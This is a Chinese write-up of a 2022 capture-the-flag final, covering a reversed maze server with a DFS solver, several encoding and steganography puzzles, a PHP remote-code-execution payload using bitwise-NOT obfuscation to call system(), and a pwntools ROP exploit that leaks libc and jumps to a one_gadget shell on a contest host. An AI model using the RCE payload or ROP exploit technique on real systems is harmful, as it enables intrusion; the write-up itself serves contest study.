内部赛-2022第二届网络安全攻防大赛个人赛决赛 WriteUp.

Re

ezAlgorithm

题目给了两个pyc文件。

vshell.cpython-38.pyc
chal.cpython-38.pyc

用uncompyle和pycdc还原效果不一样。可以看字节码再手动还原关键代码。下面给出最终还原结果及注释。

chal分析可知起点第一列，终点最后一列。

import queue, random

class chal:

    def __init__(self, size):
        self.size = size
        # 2n+1 * 2n+1 迷宫
        self.buffer = [[0 for i in range(size * 2 + 1)] for i in range(size * 2 + 1)]
        self.sP = None
        self.eP = None
        # 2n+1 索引 的 2n+1 索引列 为1
        for i in range(size):
            for j in range(size):
                self.buffer[(i * 2 + 1)][j * 2 + 1] = 1

    def read(self, x, y, direction=4):
        try:
            if direction == 4:
                return self.buffer[(x * 2 + 1)][(y * 2 + 1)]  # 右1下1
            if direction == 0:
                return self.buffer[(x * 2)][(y * 2 + 1)] # 下1
            if direction == 1:
                return self.buffer[(x * 2 + 2)][(y * 2 + 1)] # 右2下1
            if direction == 2:
                return self.buffer[(x * 2 + 1)][(y * 2)] # 右1
            if direction == 3:
                return self.buffer[(x * 2 + 1)][(y * 2 + 2)] # 右1下2
        except IndexError:
            return 0

    def write(self, x, y, val, direction=4):
        if direction == 4:
            self.buffer[(x * 2 + 1)][y * 2 + 1] = val
        elif direction == 0: # 下1
            self.buffer[(x * 2)][y * 2 + 1] = val
        elif direction == 1: # 右2下1
            self.buffer[(x * 2 + 2)][y * 2 + 1] = val
        elif direction == 2:  # 右1
            self.buffer[(x * 2 + 1)][y * 2] = val
        elif direction == 3:  # 右1下2
            self.buffer[(x * 2 + 1)][y * 2 + 2] = val

    def mapping(self):
        sBuffer = queue.LifoQueue()
        sP = (random.randint(0, self.size - 1), 0)
        eP = (random.randint(0, self.size - 1), self.size - 1)
        self.write(sP[0], sP[1], 2, 2)  # 初始化起点
        self.write(eP[0], eP[1], 2, 3)  # 初始化终点
        # print(self.buffer)

        cP = eP
        sBuffer.put(eP)
        while True:
            # 循环判断可以走的方向，如果可以走远随机走一个方向
            # 将 cP 从 eP 终点开始随机走，同时改变迷宫
            nD = []
            tP = False
            bP = False
            lP = False
            rP = False
            if cP[0] == 0:
                tP = True
            if cP[1] == 0:
                lP = True
            if cP[0] == self.size - 1:
                bP = True
            if cP[1] == self.size - 1:
                rP = True
            if not tP and self.read(cP[0] - 1, cP[1]) == 1: # 可向上走 0放入nD
                nD.append(0)
            if not bP and self.read(cP[0] + 1, cP[1]) == 1: # 可向下走 1放入nD
                nD.append(1)
            if not lP and self.read(cP[0], cP[1] - 1) == 1: # 可向左走 2放入nD
                nD.append(2)
            if not rP and self.read(cP[0], cP[1] + 1) == 1: # 可向右走 3放入nD
                nD.append(3)
            if len(nD) != 0:  # 如果有可以走的方向
                direction = random.choice(nD)  # 随机选择一个方向
                if direction == 0:
                    self.write(cP[0], cP[1], 2, 0)
                    cP = (cP[0] - 1, cP[1])
                    self.write(cP[0], cP[1], 2)
                elif direction == 1:
                    self.write(cP[0], cP[1], 2, 1)
                    cP = (cP[0] + 1, cP[1])
                    self.write(cP[0], cP[1], 2)
                elif direction == 2:
                    self.write(cP[0], cP[1], 2, 2)
                    cP = (cP[0], cP[1] - 1)
                    self.write(cP[0], cP[1], 2)
                elif direction == 3:
                    self.write(cP[0], cP[1], 2, 3)
                    cP = (cP[0], cP[1] + 1)
                    self.write(cP[0], cP[1], 2)
                sBuffer.put(cP)
            else:
                try:
                    cP = sBuffer.get_nowait()
                except queue.Empty:
                    break
                except:
                    pass

            self.sP = sP
            self.eP = eP
            continue
        # start = (sP[0] * 2 + 1, 0) # 起点位置 见play 
        # target = (eP[0] * 2 + 1, self.size * 2)


    def play(self, _input):
        cP = (self.sP[0] * 2 + 1, 0) # 起点位置 
        for ch in _input:
            if ch == 'm':  # move up
                cP = (cP[0] - 1, cP[1])
            elif ch == 'q':  # move down
                cP = (cP[0] + 1, cP[1])
            elif ch == 'd':  # move left
                cP = (cP[0], cP[1] - 1)
            elif ch == 'y':  # move right
                cP = (cP[0], cP[1] + 1)
            if self.buffer[cP[0]][cP[1]] == 0:  # 不能走0的位置
                return False
            if cP == (self.eP[0] * 2 + 1, self.size * 2):  # 终点位置
                return True
        return False

vshell还原

from chal import *
import time, random, socket
from _thread import start_new_thread

flag = 'flag{假的}'


def clientmain(conn):
    conn.send(b'Press Enter to get started.')
    conn.recv(1000)
    bWin = False
    for counti in range(10):
        startTime = time.time()
        # _chal = chal(random.randint(10, 30))
        _chal = chal(10)
        _chal.mapping()
        for i in _chal.buffer:
            for j in i:
                if j == 0:
                    conn.send(b'?')
                else:
                    conn.send(b'!')

        else:
            conn.send(b'\nSolution: ')
        if not _chal.play(conn.recv(1000).decode()):
            conn.send(b'Next Time.')
            break
        else:
            endTime = time.time()
            # if endTime - startTime > 3:
            #     conn.send(b'Too long.\n')
            #     break
        if counti == 9:
            bWin = True
    if bWin:
        conn.send(f"You passed! The flag is {flag}".encode())
    else:
        conn.send(b'Try again.')
    conn.close()


if __name__ == '__main__':
    s = socket.socket()
    s.bind(('0.0.0.0', 1145))
    s.listen()
    try:
        ThreadCount = 0
        while True:
            Client, address = s.accept()
            print('Connected to: ' + address[0] + ':' + str(address[1]))
            start_new_thread(clientmain, (Client,))
            ThreadCount += 1
            print('Thread Number: ' + str(ThreadCount))

    except KeyboardInterrupt:
        s.close()
        exit(0)
    except Exception as e:
        try:
            s.close()
            raise e
        finally:
            e = None
            del e

全部分析了，发现没有分析的必要，可以看字符猜起点，终点位置。pyc中找到上下左右即可以，不需要过多的分析。

直接DFS算法解题。

迷宫玩法：从左边的!为起点，走到右边的!
方向： m上 q下 d左 y右

reverse_maze2.py

# reverse_maze2.py
from typing import List

f = []

UNMOVABLE = 0  # 墙为0


class Solution:

    def set_maze(self, board, start, target):
        # 将 start, target 在 board 中 重置为可移动
        board[start[0]][start[1]] = UNMOVABLE + 1
        board[target[0]][target[1]] = UNMOVABLE + 1

    def exist(self, board: List[List], target: [int, int], start: [int, int] = [0, 0]) -> bool:
        self.set_maze(board, start, target)
        end_r, end_c = target
        rs, cs = start  # row start, column start
        row = len(board)
        col = len(board[0])
        lst = []

        def search(i, j, cur):
            if i >= row or i < 0:
                return False
            if j >= col or j < 0:
                return False
            letter = board[i][j]

            if letter == UNMOVABLE or letter == None:
                return False
            if i == end_r and j == end_c:  # 找到最后一个
                lst.append([i, j])
                print(lst)
                f.extend(lst)
                return True

            lst.append([i, j])
            board[i][j] = None

            ret = search(i + 1, j, cur + 1) or \
                  search(i - 1, j, cur + 1) or \
                  search(i, j + 1, cur + 1) or \
                  search(i, j - 1, cur + 1)
            # 取消标记 回撤一步
            board[i][j] = letter
            lst.pop()
            return ret

        for i in range(row):
            for j in range(col):
                ret = search(i + rs, j + cs, 0)
                if ret:
                    return True
        print(lst)
        return False


def get_direction(board: List[List[int]]):
    res = ''
    for i in range(len(board) - 1):
        a, b = board[i], board[i + 1]
        r1, c1 = a
        r2, c2 = b
        if r2 - r1 == 1:
            res += 'q'  # line down
        elif r2 - r1 == -1:
            res += 'm'  # line up
        elif c2 - c1 == 1:
            res += 'y'  # right
        elif c2 - c1 == -1:
            res += 'd'  # left
        else:
            print(f'error {i}, {res}')
            res = ''
    return res


def find_start(maze):
    for i in range(len(maze)):
        if maze[i][0] == 1:
            return [i, 0]


def find_end(maze):
    for i in range(len(maze)):
        if maze[i][len(maze) - 1] == 1:
            return [i, len(maze) - 1]


def resolve(maze, target, start):
    global f
    f = []
    a = Solution()
    a.exist(maze, target, start)
    # print(f)
    direction = get_direction(f)
    print(direction)
    return direction


def print_maze(maze):
    for row in maze:
        print(''.join(str(x) for x in row))


def convert_10_maze(txt):
    if isinstance(txt, bytes):
        txt = txt.decode()
    maze_str = txt.replace('?', '0').replace('!', '1')
    n = int(len(maze_str) ** 0.5)

    # 将字符串切割成10个字符的列表
    rows = [maze_str[i:i + n] for i in range(0, len(maze_str), n)]

    # 将每个字符转换为整数，并创建10x10数组
    array = [[int(char) for char in row] for row in rows]

    return array

使用pwntools连续回答问题。

main.py

# main.py
from pwn import *

from reverse_maze2 import resolve, find_start, find_end, print_maze, convert_10_maze

sh = remote('39.106.48.123', 25036)
'''
Press Enter to get started.
??????????????????????!!!?!!!!!?!!!?!!!!!??!???!?!?!?!?!???!?!??!?!!!?!?!!!?!!!?!?!??!?!???!???????!?!?!??!?!!!?!!!!!!!?!!!?!??!???!???????!?????!??!!!!!?!?!!!!!?!!!?!??!?????!?!?!???!?!????!!!!!?!?!?!?!!!?!!!!?????!?!?!???!?????!??!!!?!!!?!!!!!?!!!?!??!?!???!???????!?!????!?!!!?!?!!!!!!!?!!!??!?!???!?!???!?????!?!!?!?!!!?!?!!!?!!!?!??!?!?!?????!???!???!??!?!?!?!!!?!!!?!!!!!??!???!?!?!???!?!??????!!!!!!!?!!!!!?!!!!!??????????????????????
Solution:
'''
sh.recvuntil(b'get started.')
sh.sendline()
for i in range(10):
    r = sh.recvuntil(b'\nSolution: ', drop=True)
    maze = convert_10_maze(r)
    print_maze(maze)

    start = find_start(maze)
    end = find_end(maze)
    direction = resolve(maze, end, start)
    if not direction:
        raise Exception('not found')
    sh.sendline(direction.encode())
sh.interactive()

Misc

Checkin

Cyberchef 自动。

Morse

A替换 - B替换. 或者换一下
Cyberchef 解码。

华强

二张图片， 一个用Stegsolve有二维码。扫描，解码。文件1
另一张文件末尾有内容。base64解得到文件2.

有一个人前来买瓜
哥们儿这瓜多少钱一斤啊两块钱一斤
这瓜皮是金子做的还是瓜粒子是金子做的
你瞧瞧现在哪儿有瓜呀这都是大棚的瓜
你嫌贵我还嫌贵呢
这瓜保熟吗
我开水果摊的能卖给你生瓜蛋子
我问你这瓜熟吗
你是故意找茬儿是不是你要不要吧
你这瓜要熟我肯定要啊
十五斤30块
你这哪够十五斤啊你这秤有问题
吸铁石
另外你说的这瓜要是生的你自己吞进去
你他妈劈我瓜是不是
萨日朗

文件1都是文件2的内容。短的是码表。
看了一下01二进制不太像。正好16行试下16进制码表替换。

d = {
    "有一个人前来买瓜": 0,
    "哥们儿这瓜多少钱一斤啊两块钱一斤": 1,
    "这瓜皮是金子做的还是瓜粒子是金子做的": 2,
    "你瞧瞧现在哪儿有瓜呀这都是大棚的瓜": 3,
    "你嫌贵我还嫌贵呢": 4,
    "这瓜保熟吗": 5,
    "我开水果摊的能卖给你生瓜蛋子": 6,
    "我问你这瓜熟吗": 7,
    "你是故意找茬儿是不是你要不要吧": 8,
    "你这瓜要熟我肯定要啊": 9,
    "十五斤30块": 10,
    "你这哪够十五斤啊你这秤有问题": 11,
    "吸铁石": 12,
    "另外你说的这瓜要是生的你自己吞进去": 13,
    "你他妈劈我瓜是不是": 14,
    "萨日朗": 15,
}
f =open('f4', 'r', encoding='utf8').read()
for line in f.splitlines():
    if d[line]==None:
        print('error', line)
    print(f'{d[line]:x}', end='')
# 637466e98089e6898be58898e58d8ee5bcbae79a84464c41473a666c61677b65636535396561352d333038352d346465642d626437322d3439663663396539343561387d

解码得到flag.

外太空的秘密

python排列组合 。

from itertools import product
 
a = list('ACGTRNDEG')
 
f = open('ff.txt', 'w')
for i, x in enumerate(product(a, repeat=len(a))):
    print(i, x)
    res = f'{i+1}, ' +  ''.join(x) + '\n' # 注意i+1
    f.write(res)
    f.flush()

直接照题目填上得flag

web

ezrce

git 泄露。

得到 1ndex.php 。 str参数。。
搜索到相似目。fuzz后尝试反码获取。

echo urlencode(~"ls ../ -la");

${(~%8C%86%8C%8B%9A%92)(~%93%8C)}

左边system 函数名 右边payload。最后找到
flag就在 ../ 目录，挺长一串。 cat ../flllgggggg

pwn

ezrop

简单的栈迁移

from pwn import *

txt = "39.106.48.123 22103"
host, port = txt.split(' ')
s = remote(host, port)
# s = process('./ezrop')
context(log_level='debug', arch='amd64', os='linux')

elf = ELF('./ezrop')
write_1_s_30 = 0x00000004007BE
read = elf.got['read'] + 0x30
payload = flat('a' * 0x30, read, write_1_s_30)
s.recv()
s.send(payload)

leak = u64(s.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("libc-2.27.so")
libc.address = leak - libc.sym["read"]
success('read:' + hex(leak))
success('libc:' + hex(libc.address))
ogg = libc.address + 0x4527a  # 本地libc
ogg = libc.address + 0x4f302
"""
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
payload = flat(b'a' * 0x30, 0, ogg)
s.send(payload)

s.interactive()